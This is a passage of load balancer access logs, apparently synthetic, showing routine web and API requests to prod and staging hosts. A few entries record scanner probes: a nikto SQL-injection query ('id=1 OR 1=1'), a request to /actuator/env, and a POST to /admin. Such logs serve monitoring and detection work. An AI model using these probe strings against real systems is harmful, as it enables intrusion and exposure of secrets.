arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d980-50ed81e898ea4114bc2edc1f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:24:48.273262Z "forward" "-" "-" "10.0.141.37:443" "200" "-" "-" -https 2024-11-01T02:24:49.491899Z staging-alb 124.130.215.33:47547 92.125.227.172:80 0.015369 0.050203 0.023431 200 200 636 9816 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d981-1a0a7c92b1f845e9a4defc56" "staging-alb.example.com" "-" 5 2024-11-01T02:24:49.491899Z "forward" "-" "-" "92.125.227.172:80" "200" "-" "-" -https 2024-11-01T02:24:50.504714Z prod-api-alb 139.120.219.60:59683 10.0.8.63:443 0.036779 0.261835 0.087349 404 404 16 6921 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d982-4468ba7cf4ca4316b6e179cd" "-" "-" 9 2024-11-01T02:24:50.504714Z "forward" "-" "-" "10.0.8.63:443" "404" "-" "-" -https 2024-11-01T02:24:51.608375Z prod-api-alb 46.118.166.203:36110 10.0.127.192:443 0.099328 0.181083 0.071747 302 302 226 3455 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d983-bd4e559e4f334cb59bae567e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:24:51.608375Z "forward" "-" "-" "10.0.127.192:443" "302" "-" "-" -https 2024-11-01T02:24:53.371823Z prod-api-alb 249.44.92.161:38088 10.0.199.98:443 0.066396 0.148670 0.039751 301 301 710 7305 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d985-8827e3dd7d034e39b7495534" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:53.371823Z "forward" "-" "-" "10.0.199.98:443" "301" "-" "-" -https 2024-11-01T02:24:53.631695Z prod-web-alb 193.27.228.11:53792 10.0.210.216:443 0.010051 0.175881 0.031123 500 500 818 3751 "POST /users?id=1 OR 1=1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d985-b156b743e9f947818b35a248" "-" "-" 6 2024-11-01T02:24:53.631695Z "forward" "-" "-" "10.0.210.216:443" "500" "-" "-" -https 2024-11-01T02:24:55.496024Z prod-api-alb 214.224.43.177:50759 10.0.27.227:443 0.032589 0.325603 0.080437 200 200 669 9374 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d987-50094c12a2fb4c5582170021" "prod-api-alb.example.com" "-" 9 2024-11-01T02:24:55.496024Z "forward" "-" "-" "10.0.27.227:443" "200" "-" "-" -https 2024-11-01T02:24:56.228177Z prod-api-alb 93.8.98.29:25843 10.0.58.163:443 0.016414 0.354025 0.094080 301 301 729 11104 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d988-c3b24575b5b24617b8dedcb0" "prod-api-alb.example.com" "-" 6 2024-11-01T02:24:56.228177Z "forward" "-" "-" "10.0.58.163:443" "301" "-" "-" -https 2024-11-01T02:24:57.903678Z prod-api-alb 127.128.174.2:44683 10.0.9.19:443 0.081332 0.342441 0.015534 302 302 176 5231 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d989-1ddcd9d0d9364522896e05cf" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:57.903678Z "forward" "-" "-" "10.0.9.19:443" "302" "-" "-" -https 2024-11-01T02:24:58.518952Z staging-alb 36.167.123.227:62554 153.161.87.217:8080 0.131563 0.735473 0.023627 200 200 269 6604 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d98a-dad1aeb6eb2544a186ea0752" "staging-alb.example.com" "-" 4 2024-11-01T02:24:58.518952Z "forward" "-" "-" "153.161.87.217:8080" "200" "-" "-" -http 2024-11-01T02:24:59.114862Z staging-alb 53.138.76.171:41996 38.134.209.145:80 0.047567 0.468905 0.122974 302 302 112 2984 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d98b-67c6baebec5242a99023b80e" "staging-alb.example.com" "-" 7 2024-11-01T02:24:59.114862Z "forward" "-" "-" "38.134.209.145:80" "302" "-" "-" -https 2024-11-01T02:24:59.478624Z prod-api-alb 77.32.25.61:37322 10.0.230.141:443 0.038819 0.141126 0.025339 200 200 735 1938 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d98b-2922cd3cc8b942d7b453cb5b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:59.478624Z "forward" "-" "-" "10.0.230.141:443" "200" "-" "-" -https 2024-11-01T02:24:59.721227Z prod-api-alb 186.105.209.3:36866 10.0.135.120:443 0.038096 0.423658 0.063298 301 301 932 12240 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d98b-c796632e6bfb495cbf153d8a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:24:59.721227Z "forward" "-" "-" "10.0.135.120:443" "301" "-" "-" -https 2024-11-01T02:25:01.139431Z prod-web-alb 69.32.114.129:37913 10.0.179.77:443 0.049703 0.247429 0.090853 200 200 114 5496 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d98d-094337d858e74bcda1338b50" "prod-web-alb.example.com" "-" 1 2024-11-01T02:25:01.139431Z "forward" "-" "-" "10.0.179.77:443" "200" "-" "-" -https 2024-11-01T02:25:02.796466Z prod-web-alb 72.248.13.132:19621 10.0.161.121:443 0.068984 0.040489 0.006755 200 200 509 10771 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d98e-41b990c284e44886b91bc023" "prod-web-alb.example.com" "-" 0 2024-11-01T02:25:02.796466Z "forward" "-" "-" "10.0.161.121:443" "200" "-" "-" -https 2024-11-01T02:25:04.025709Z prod-api-alb 227.144.216.91:58308 10.0.221.58:443 0.063488 0.337137 0.098163 200 200 220 13280 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d990-399077327ab84daba9a4dbd3" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:04.025709Z "forward" "-" "-" "10.0.221.58:443" "200" "-" "-" -https 2024-11-01T02:25:04.173578Z prod-web-alb 71.76.120.72:18458 10.0.173.143:443 0.027935 0.345863 0.092968 200 200 749 10727 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d990-44e97033b103415da9f0ad64" "prod-web-alb.example.com" "-" 7 2024-11-01T02:25:04.173578Z "forward" "-" "-" "10.0.173.143:443" "200" "-" "-" -https 2024-11-01T02:25:05.733037Z prod-api-alb 30.35.130.163:31149 10.0.159.162:443 0.000389 0.434365 0.030212 302 302 286 13682 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d991-ee143201cb2349e98ea87056" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:05.733037Z "forward" "-" "-" "10.0.159.162:443" "302" "-" "-" -https 2024-11-01T02:25:06.934419Z prod-web-alb 193.27.228.254:18805 10.0.89.198:443 0.062827 0.353194 0.016299 500 500 194 6929 "GET /actuator/env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d992-1db6acdfbec1476899173f43" "-" "-" 8 2024-11-01T02:25:06.934419Z "forward" "-" "-" "10.0.89.198:443" "500" "-" "-" -https 2024-11-01T02:25:08.274893Z prod-web-alb 184.62.114.145:21026 10.0.107.1:443 0.077459 0.374492 0.023353 200 200 269 11153 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d994-9914f6e68e424e328addea7f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:08.274893Z "forward" "-" "-" "10.0.107.1:443" "200" "-" "-" -https 2024-11-01T02:25:08.796090Z prod-api-alb 188.21.146.90:10930 10.0.29.121:443 0.027525 0.111673 0.029596 200 200 908 4993 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d994-2707c4fe9ea2436aac2b4aa8" "prod-api-alb.example.com" "-" 0 2024-11-01T02:25:08.796090Z "forward" "-" "-" "10.0.29.121:443" "200" "-" "-" -https 2024-11-01T02:25:10.760018Z prod-web-alb 157.230.12.44:28306 10.0.160.118:443 0.033131 0.220479 0.066962 301 301 880 10467 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d996-33102df0615f4f81b6753e73" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:10.760018Z "forward" "-" "-" "10.0.160.118:443" "301" "-" "-" -http 2024-11-01T02:25:11.999668Z staging-alb 145.101.72.147:51858 47.129.133.104:80 0.133794 0.138501 0.102370 200 200 241 6535 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d997-beb50998af6d4e6f95bd17e1" "staging-alb.example.com" "-" 10 2024-11-01T02:25:11.999668Z "forward" "-" "-" "47.129.133.104:80" "200" "-" "-" -https 2024-11-01T02:25:12.184875Z staging-alb 205.22.151.62:31640 22.122.227.116:8080 0.107514 0.171858 0.085556 200 200 169 11300 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d998-d4fd6a6d004d4e8cad9ab060" "staging-alb.example.com" "-" 0 2024-11-01T02:25:12.184875Z "forward" "-" "-" "22.122.227.116:8080" "200" "-" "-" -https 2024-11-01T02:25:12.333033Z prod-api-alb 213.107.63.179:50162 10.0.119.185:443 0.039814 0.189207 0.035937 200 200 682 8106 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d998-685f148c941e450c89822d12" "-" "-" 4 2024-11-01T02:25:12.333033Z "forward" "-" "-" "10.0.119.185:443" "200" "-" "-" -https 2024-11-01T02:25:12.608086Z prod-api-alb 164.68.55.158:45373 10.0.195.254:443 0.087543 0.415635 0.038349 200 200 408 422 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d998-0399086791674103abe341b5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:25:12.608086Z "forward" "-" "-" "10.0.195.254:443" "200" "-" "-" -https 2024-11-01T02:25:12.941201Z prod-web-alb 107.243.188.201:58300 10.0.141.213:443 0.023713 0.438249 0.059224 200 200 201 11399 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d998-be75535106cb429a8ebc5558" "prod-web-alb.example.com" "-" 5 2024-11-01T02:25:12.941201Z "forward" "-" "-" "10.0.141.213:443" "200" "-" "-" -https 2024-11-01T02:25:13.181171Z prod-web-alb 171.70.60.63:63752 10.0.106.105:443 0.024036 0.070131 0.044666 302 302 985 7540 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d999-b28e5dafb5d045a2a341e699" "prod-web-alb.example.com" "-" 5 2024-11-01T02:25:13.181171Z "forward" "-" "-" "10.0.106.105:443" "302" "-" "-" -https 2024-11-01T02:25:15.105279Z prod-web-alb 78.246.210.91:35488 10.0.208.14:443 0.078977 0.113849 0.098763 200 200 173 12586 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d99b-565f9b129b644561b352d716" "prod-web-alb.example.com" "-" 7 2024-11-01T02:25:15.105279Z "forward" "-" "-" "10.0.208.14:443" "200" "-" "-" -https 2024-11-01T02:25:16.806621Z prod-web-alb 44.95.27.74:36524 10.0.15.13:443 0.075580 0.262614 0.090463 200 200 424 3964 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d99c-2823e3878ed64651b0614271" "prod-web-alb.example.com" "-" 6 2024-11-01T02:25:16.806621Z "forward" "-" "-" "10.0.15.13:443" "200" "-" "-" -https 2024-11-01T02:25:18.082200Z prod-web-alb 57.192.255.147:29724 10.0.124.149:443 0.055348 0.364168 0.061642 302 302 477 8987 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d99e-d5dfb895e03a42ecb6580272" "prod-web-alb.example.com" "-" 0 2024-11-01T02:25:18.082200Z "forward" "-" "-" "10.0.124.149:443" "302" "-" "-" -https 2024-11-01T02:25:18.276610Z prod-web-alb 61.18.133.61:35796 10.0.200.166:443 0.007009 0.168888 0.089068 200 200 142 8483 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d99e-a0eb9cc5f8624ec290d19d31" "prod-web-alb.example.com" "-" 2 2024-11-01T02:25:18.276610Z "forward" "-" "-" "10.0.200.166:443" "200" "-" "-" -https 2024-11-01T02:25:19.551160Z prod-api-alb 171.172.15.251:61350 10.0.15.248:443 0.005625 0.429514 0.070894 301 301 46 10645 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d99f-1c7dcdd37bb34b6d81705812" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:19.551160Z "forward" "-" "-" "10.0.15.248:443" "301" "-" "-" -https 2024-11-01T02:25:20.022590Z prod-api-alb 95.151.229.96:50274 10.0.89.105:443 0.014398 0.167627 0.000833 302 302 136 13713 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9a0-792d098b00684a3e908faccb" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:20.022590Z "forward" "-" "-" "10.0.89.105:443" "302" "-" "-" -https 2024-11-01T02:25:21.252415Z prod-web-alb 108.26.239.164:35081 10.0.215.165:443 0.060575 0.015594 0.099681 200 200 468 10938 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a1-87318eeaa6374a61be87210d" "prod-web-alb.example.com" "-" 9 2024-11-01T02:25:21.252415Z "forward" "-" "-" "10.0.215.165:443" "200" "-" "-" -https 2024-11-01T02:25:21.410772Z prod-web-alb 132.152.36.188:16254 10.0.51.185:443 0.071576 0.045514 0.057048 302 302 673 13122 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a1-650fd7af40b54f89abb42c87" "prod-web-alb.example.com" "-" 1 2024-11-01T02:25:21.410772Z "forward" "-" "-" "10.0.51.185:443" "302" "-" "-" -https 2024-11-01T02:25:22.626336Z staging-alb 145.106.85.174:50495 54.66.68.95:8080 0.097167 0.257365 0.065190 200 200 232 2461 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9a2-2f2091d03c0d4a6caa06707f" "staging-alb.example.com" "-" 10 2024-11-01T02:25:22.626336Z "forward" "-" "-" "54.66.68.95:8080" "200" "-" "-" -https 2024-11-01T02:25:24.534559Z prod-api-alb 120.142.2.196:49888 10.0.2.95:443 0.003468 0.486729 0.014530 200 200 452 9324 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9a4-c803df65d15647dea4562dfd" "prod-api-alb.example.com" "-" 10 2024-11-01T02:25:24.534559Z "forward" "-" "-" "10.0.2.95:443" "200" "-" "-" -https 2024-11-01T02:25:24.927786Z prod-api-alb 135.98.121.39:26867 10.0.129.92:443 0.046606 0.467253 0.030432 404 404 711 12040 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9a4-c0c531d6dddc4e8582e3512d" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:24.927786Z "forward" "-" "-" "10.0.129.92:443" "404" "-" "-" -https 2024-11-01T02:25:25.559955Z prod-web-alb 193.27.228.176:51727 10.0.44.130:443 0.031657 0.456814 0.096404 301 301 843 9633 "POST /admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a5-1876a5636eb64531be07dbc0" "-" "-" 5 2024-11-01T02:25:25.559955Z "forward" "-" "-" "10.0.44.130:443" "301" "-" "-" -https 2024-11-01T02:25:27.129295Z prod-web-alb 44.147.92.125:33448 10.0.73.221:443 0.075963 0.327152 0.007084 301 301 176 8494 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a7-8c3e19002d6f4d83bb5bb2e9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:25:27.129295Z "forward" "-" "-" "10.0.73.221:443" "301" "-" "-" -https 2024-11-01T02:25:27.346254Z staging-alb 147.70.203.249:64554 94.248.41.30:443 0.007441 0.554757 0.137401 301 301 939 14072 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9a7-df9253f91c4d4b3a8140e893" "staging-alb.example.com" "-" 1 2024-11-01T02:25:27.346254Z "forward" "-" "-" "94.248.41.30:443" "301" "-" "-" -https 2024-11-01T02:25:27.552016Z prod-api-alb 177.152.31.148:17988 10.0.148.119:443 0.024262 0.487188 0.041825 301 301 470 10926 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9a7-3935d7c0be174c5691b54b19" "prod-api-alb.example.com" "-" 2 2024-11-01T02:25:27.552016Z "forward" "-" "-" "10.0.148.119:443" "301" "-" "-" -https 2024-11-01T02:25:27.731052Z prod-api-alb 62.240.151.144:22362 10.0.78.77:443 0.059136 0.452658 0.069865 200 200 314 2474 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9a7-f28fc99dfa3345478e6464f0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:27.731052Z "forward" "-" "-" "10.0.78.77:443" "200" "-" "-" -https 2024-11-01T02:25:28.846500Z staging-alb 87.211.10.216:24698 242.171.10.62:8080 0.104635 0.208893 0.035216 301 301 422 540 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9a8-a0470abf01ef49bab1972312" "staging-alb.example.com" "-" 0 2024-11-01T02:25:28.846500Z "forward" "-" "-" "242.171.10.62:8080" "301" "-" "-" -https 2024-11-01T02:25:30.604016Z staging-alb 114.64.49.40:12115 2.219.255.65:80 0.106919 0.118939 0.139758 302 302 658 10415 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9aa-52b792879da94b9eade6f258" "staging-alb.example.com" "-" 2 2024-11-01T02:25:30.604016Z "forward" "-" "-" "2.219.255.65:80" "302" "-" "-" -https 2024-11-01T02:25:30.932270Z prod-api-alb 156.129.150.108:27454 10.0.117.155:443 0.096094 0.077353 0.049415 404 404 58 3696 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9aa-ef7360b3f00d44ad8c0938f8" "prod-api-alb.example.com" "-" 6 2024-11-01T02:25:30.932270Z "forward" "-" "-" "10.0.117.155:443" "404" "-" "-" -https 2024-11-01T02:25:31.940686Z prod-api-alb 99.196.78.218:50810 10.0.146.224:443 0.078665 0.047830 0.070027 302 302 966 3214 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows 